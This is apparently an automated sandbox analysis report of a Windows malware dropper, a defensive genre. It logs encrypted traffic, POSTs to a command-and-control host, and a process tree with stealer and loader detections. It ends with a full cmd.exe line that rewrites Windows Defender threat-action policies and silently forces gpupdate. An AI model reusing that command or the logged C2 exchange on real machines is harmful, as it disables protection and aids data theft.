2024-09-28 22:53:24 UTC	1369	IN	Data Raw: 04 4e 3b de 7e 30 83 ff 40 7e 09 8b c7 99 2b c2 d1 f8 eb 0f 33 c0 83 ff 08 0f 9e c0 48 83 e0 0c 83 c0 04 8d 14 30 3b d3 7d 04 2b de 8b c3 03 f8 57 e8 68 ff ff ff 5f 5e 5b c2 04 00 b8 38 91 41 00 e8 3c 17 01 00 83 ec 10 53 8b 5d 0c 56 8b 75 10 57 8b f9 8d 14 33 33 c9 8b 47 04 89 4d f0 3b d0 7e 04 8b f0 2b f3 3b d9 75 0f 3b f0 75 0b 8b 4d 08 57 e8 97 fa ff ff eb 5d 89 4d e4 89 4d e8 89 4d ec 6a 03 8d 4d e4 e8 11 ff ff ff 83 65 fc 00 56 8d 4d e4 e8 04 ff ff ff 33 c9 85 f6 7e 17 8d 04 1b 8b 17 8b 5d e4 66 8b 14 10 66 89 14 4b 41 40 40 3b ce 7c ec 8b 45 e4 8b 4d 08 66 83 24 70 00 8d 45 e4 50 89 75 e8 e8 41 fa ff ff ff 75 e4 e8 f4 17 00 00 59 8b 4d f4 8b 45 08 5f 5e 5b 64 89 0d 00 00 00 00 c9 c2 0c 00 55 8b ec 8b 45 08 53 56 57 8b 70 04 85 f6 75 05 8b 45 0c eb Data Ascii: N;~0@~+3H0;}+Wh_^[8A<S]VuW33GM;~+;u;uMW]MMMjMeVM3~]ffKA@@;\|EMf$pEPuAuYME_^[dUESVWpuE
2024-09-28 22:53:24 UTC	1369	IN	Data Raw: 00 8b 44 24 08 56 89 46 20 8b 44 24 10 89 46 24 8b 44 24 14 89 46 28 8b 44 24 18 89 46 2c ff 15 9c b0 41 00 5e c2 10 00 8b 44 24 04 56 8d b0 a8 00 00 00 8b ce e8 4a 6e 00 00 85 c0 75 16 8b 44 24 0c 85 c0 74 0c ff 70 04 8b ce ff 30 e8 06 00 00 00 33 c0 5e c2 08 00 56 8b f1 56 ff 15 a0 b0 41 00 8b 44 24 08 56 89 46 28 8b 44 24 10 89 46 2c ff 15 9c b0 41 00 5e c2 08 00 b8 9c 91 41 00 e8 a4 11 01 00 83 ec 0c 56 83 c1 10 57 51 8d 4d e8 e8 20 f5 ff ff 8b 75 08 33 ff 89 7d fc 39 7e 08 7e 26 8b 46 0c 8d 4d e8 ff 34 b8 e8 07 f6 ff ff 8b 4d e8 e8 b8 21 00 00 6a 5c 8d 4d e8 e8 ca f5 ff ff 47 3b 7e 08 7c da ff 75 e8 e8 a0 12 00 00 59 5f 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c2 04 00 b8 1b 92 41 00 e8 3d 11 01 00 81 ec a0 00 00 00 53 56 8b 75 08 57 8d 8e a8 00 00 00 e8 Data Ascii: D$VF D$F$D$F(D$F,A^D$VJnuD$tp03^VVAD$VF(D$F,A^AVWQM u3}9~~&FM4M!j\MG;~\|uY_M^dA=SVuW
2024-09-28 22:53:24 UTC	1369	IN	Data Raw: b8 e8 12 0e 00 00 ff 75 9c e8 0a 0e 00 00 83 c4 0c 89 7d c4 8d 4d c4 c6 45 fc 0d e8 32 16 00 00 8d 4d c4 c6 45 fc 02 e8 fd 15 00 00 8d 4d d8 c6 45 fc 01 e8 78 31 00 00 eb 05 8b 45 10 89 18 ff 75 e8 e8 d1 0d 00 00 83 4d fc ff 59 8d 4d a8 e8 5c 31 00 00 33 c0 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c2 10 00 e9 44 31 00 00 55 8b ec 6a 10 68 4c b9 41 00 ff 75 0c e8 ce 07 01 00 83 c4 0c 85 c0 74 16 6a 10 68 e8 b2 41 00 ff 75 0c e8 b8 07 01 00 83 c4 0c 85 c0 75 12 8b 4d 10 8b 45 08 50 89 01 8b 08 ff 51 04 33 c0 eb 05 b8 02 40 00 80 5d c2 0c 00 8b 4c 24 04 ff 49 04 8b 41 04 75 0d 85 c9 74 07 8b 01 6a 01 ff 50 18 33 c0 c2 04 00 56 8b f1 e8 14 00 00 00 f6 44 24 08 01 74 07 56 e8 31 0d 00 00 59 8b c6 5e c2 04 00 c7 01 54 b3 41 00 83 c1 08 e9 f5 2b 00 00 53 56 8b Data Ascii: u}ME2MEMEx1EuMYM\13M_^[dD1UjhLAutjhAuuMEPQ3@]L$IAutjP3VD$tV1Y^TA+SV
2024-09-28 22:53:24 UTC	1369	IN	Data Raw: 00 8b 4d e4 e8 f7 17 00 00 84 c0 75 40 8d 45 e4 8d 4d d8 50 6a 09 5a e8 70 63 00 00 50 8d 4e 64 c6 45 fc 03 e8 74 eb ff ff ff 75 d8 e8 8e 08 00 00 ff 75 e4 c7 46 60 05 40 00 80 e8 7f 08 00 00 ff 75 c0 e8 77 08 00 00 83 c4 0c eb 6f 68 9c 03 42 00 8d 4d d8 e8 49 ea ff ff 8b 47 08 8b 4f 0c 53 c6 45 fc 04 8b 44 81 fc 8d 4d b0 51 8d 4d d8 8b 00 51 8d 4d e4 51 8b 4e 1c 50 e8 28 f4 ff ff ff 75 d8 c6 45 fc 02 e8 33 08 00 00 8b 47 08 8b 57 0c 59 8b 44 82 fc 8b 4e 20 51 53 8b 00 6a ff 53 50 8b 10 ff 52 1c ff 75 e4 89 46 60 e8 0d 08 00 00 ff 75 c0 e8 05 08 00 00 59 59 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c3 8b c1 33 c9 89 48 04 89 48 08 89 48 0c 8b 4c 24 04 89 48 10 c7 00 80 b3 41 00 c2 04 00 56 8b f1 e8 e0 0f 00 00 f6 44 24 08 01 74 07 56 e8 c2 07 00 00 59 8b Data Ascii: Mu@EMPjZpcPNdEtuuF`@uwohBMIGOSEDMQMQMQNP(uE3GWYDN QSjSPRuF`uYYM_^[d3HHHL$HAVD$tVY
2024-09-28 22:53:24 UTC	1369	IN	Data Raw: f6 44 24 08 01 74 07 56 e8 59 03 00 00 59 8b c6 5e c2 04 00 b8 4b 94 41 00 e8 00 02 01 00 51 56 8b f1 89 75 f0 c7 06 9c b3 41 00 c7 46 04 90 b3 41 00 8d 4e 6c c7 45 fc 07 00 00 00 e8 67 00 00 00 ff b6 e4 00 00 00 e8 1a 03 00 00 59 8d 4e 68 e8 45 ff ff ff ff 76 50 e8 09 03 00 00 8b 46 4c 59 85 c0 c6 45 fc 03 74 06 8b 08 50 ff 51 08 ff 76 28 e8 ef 02 00 00 ff 76 1c e8 e7 02 00 00 ff 76 10 e8 df 02 00 00 8b 76 0c 83 4d fc ff 83 c4 0c 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 56 8b f1 8b 06 85 c0 75 04 b0 01 5e c3 50 ff 15 d4 b1 41 00 85 c0 0f 95 c0 84 c0 74 03 83 26 00 5e c3 8b 01 85 c0 74 06 8b 08 50 ff 51 08 c3 b8 60 94 41 00 e8 3d 01 01 00 51 56 8b f1 89 75 f0 c7 06 88 b3 41 00 83 65 fc 00 e8 a9 0a 00 00 83 4d fc ff 8b ce e8 75 Data Ascii: D$tVYY^KAQVuAFANlEgYNhEvPFLYEtPQv(vvvMtVPM^dVu^PAt&^tPQ`A=QVuAeMu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49722	188.114.96.3	443	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:53:41 UTC	189	OUT	GET /1S3fd7 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: iplog.co
2024-09-28 22:53:41 UTC	1106	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close set-cookie: 27508147137263905=2; expires=Sun, 28 Sep 2025 22:53:41 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict set-cookie: clhf03028ja=8.46.123.33; expires=Sun, 28 Sep 2025 22:53:41 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict memory: 0.4307403564453125 expires: Sat, 28 Sep 2024 22:53:41 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J7Q0vB6bHFcvNvIUqkEFsnUhtSspTTuHBDxNOV624tcKKmkj2RTEIwUA89J3Jo0IiYj7J5KszxH27%2FzU7PnMPGErYtpXvb0hDfObzKbkfyXugrrn%2Fj%2BTH6gdAQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ca74f9e0e21422d-EWR
2024-09-28 22:53:41 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-09-28 22:53:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49725	188.114.96.3	443	5700	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:53:50 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-28 22:53:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-28 22:53:50 UTC	565	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vfHevC4%2B5OoO9BVPxXKiO5coTgYax29BIgs4t15pNwxa%2F5BSV3wlccNc6%2B2%2BeL6v5%2FzAfQNCMJve5P%2Fthyr9yfDtV5n3bk9JKl3OcR0szi%2FmN3zhZJUHq3%2F%2FXIFzFIF5W0FFYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ca74fd41de48c39-EWR
2024-09-28 22:53:50 UTC	804	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-28 22:53:50 UTC	1369	IN	Data Raw: 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 Data Ascii: dn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getEle
2024-09-28 22:53:50 UTC	1369	IN	Data Raw: 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 7a 50 76 4c 35 71 48 4c 4e 46 6a 7a 6a 47 48 36 34 5f 71 37 75 57 68 37 62 71 36 59 62 64 73 49 59 68 6f 4e 44 78 6c 63 50 63 38 2d 31 37 32 37 35 36 34 30 33 30 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 Data Ascii: t/plain"> <input type="hidden" name="atok" value="zPvL5qHLNFjzjGH64_q7uWh7bq6YbdsIYhoNDxlcPc8-1727564030-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" cla
2024-09-28 22:53:50 UTC	863	IN	Data Raw: 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 Data Ascii: er-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank"
2024-09-28 22:53:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49726	188.114.96.3	443	5700	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:53:50 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=zPvL5qHLNFjzjGH64_q7uWh7bq6YbdsIYhoNDxlcPc8-1727564030-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 50 Host: ghostreedmnu.shop
2024-09-28 22:53:50 UTC	50	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 6d 6b 57 6c 68 2d 2d 52 61 55 46 50 50 50 70 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=9mkWlh--RaUFPPPp&j=
2024-09-28 22:53:51 UTC	780	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=re6t71jaqppes88efl9l5jq3ac; expires=Wed, 22 Jan 2025 16:40:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=urV%2B8nDVcQODv0ubU65%2Fav%2BIBuGUZstM7D5M3%2FjWGA0BTwvq6oiGkYJE5%2FzKBuZb9LktANNIjnBq3x5smYvtiwY6LfrVpC3SLFVwHSL4NeQV9B5UzvGew6hnKS5lYJJz%2BPY0Rw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ca74fd8594e0c8a-EWR
2024-09-28 22:53:51 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-28 22:53:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	18:53:13
Start date:	28/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xae0000
File size:	1'957'376 bytes
MD5 hash:	731200CE89A30B22A5530838E57862F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:53:13
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:53:14
Start date:	28/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xa90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:53:29
Start date:	28/09/2024
Path:	C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe
Imagebase:	0xab0000
File size:	9'969'664 bytes
MD5 hash:	18E1D0F8B01CEAE85D5D7136C4CF751A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker_5, Description: Yara detected Clipboard Hijacker, Source: 00000006.00000003.2335001798.0000000003F8D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:53:29
Start date:	28/09/2024
Path:	C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe
Imagebase:	0x400000
File size:	3'128'802 bytes
MD5 hash:	569BDA6BDE88B1E2DFEB814608202480
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	18:53:29
Start date:	28/09/2024
Path:	C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe
Imagebase:	0x400000
File size:	7'620'947 bytes
MD5 hash:	5B9E9580BB4E446ABE9EDBC7556E0D32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:53:29
Start date:	28/09/2024
Path:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
Imagebase:	0x400000
File size:	331'776 bytes
MD5 hash:	83766CED82D461DE3D8D68E0B07762B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000009.00000002.2102908522.00000000020C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.2102510892.00000000004AD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:53:30
Start date:	28/09/2024
Path:	C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe
Imagebase:	0xa10000
File size:	6'129'152 bytes
MD5 hash:	447DE2327DC8ECD4830023A7D6C8ED64
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 0000000A.00000002.1766538879.000000000198E000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 0000000A.00000002.1766830141.0000000001B00000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 26%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	18:53:32
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp" /SL5="$70060,2863082,54272,C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe"
Imagebase:	0x400000
File size:	709'120 bytes
MD5 hash:	887F3C5F3FC423C9507F5E7EA59B72DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	18:53:32
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe
Imagebase:	0x400000
File size:	6'671'830 bytes
MD5 hash:	9C515DE25DB156F66F31A9D3B1E72FC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:53:33
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe" -i
Imagebase:	0x400000
File size:	2'686'976 bytes
MD5 hash:	68B9D34F203BF46CD4771604D15115BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000000D.00000002.2682333164.0000000002CA1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000000D.00000002.2681681292.0000000002BF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	18:53:34
Start date:	28/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	18:53:34
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7916 -ip 7916
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:53:34
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe /dXVdidiCT "385121" /S
Imagebase:	0x500000
File size:	6'944'256 bytes
MD5 hash:	E40A23C70027A430F5BFC33BCE6E82F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	18:53:35
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 736
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	18:53:35
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0xc50000
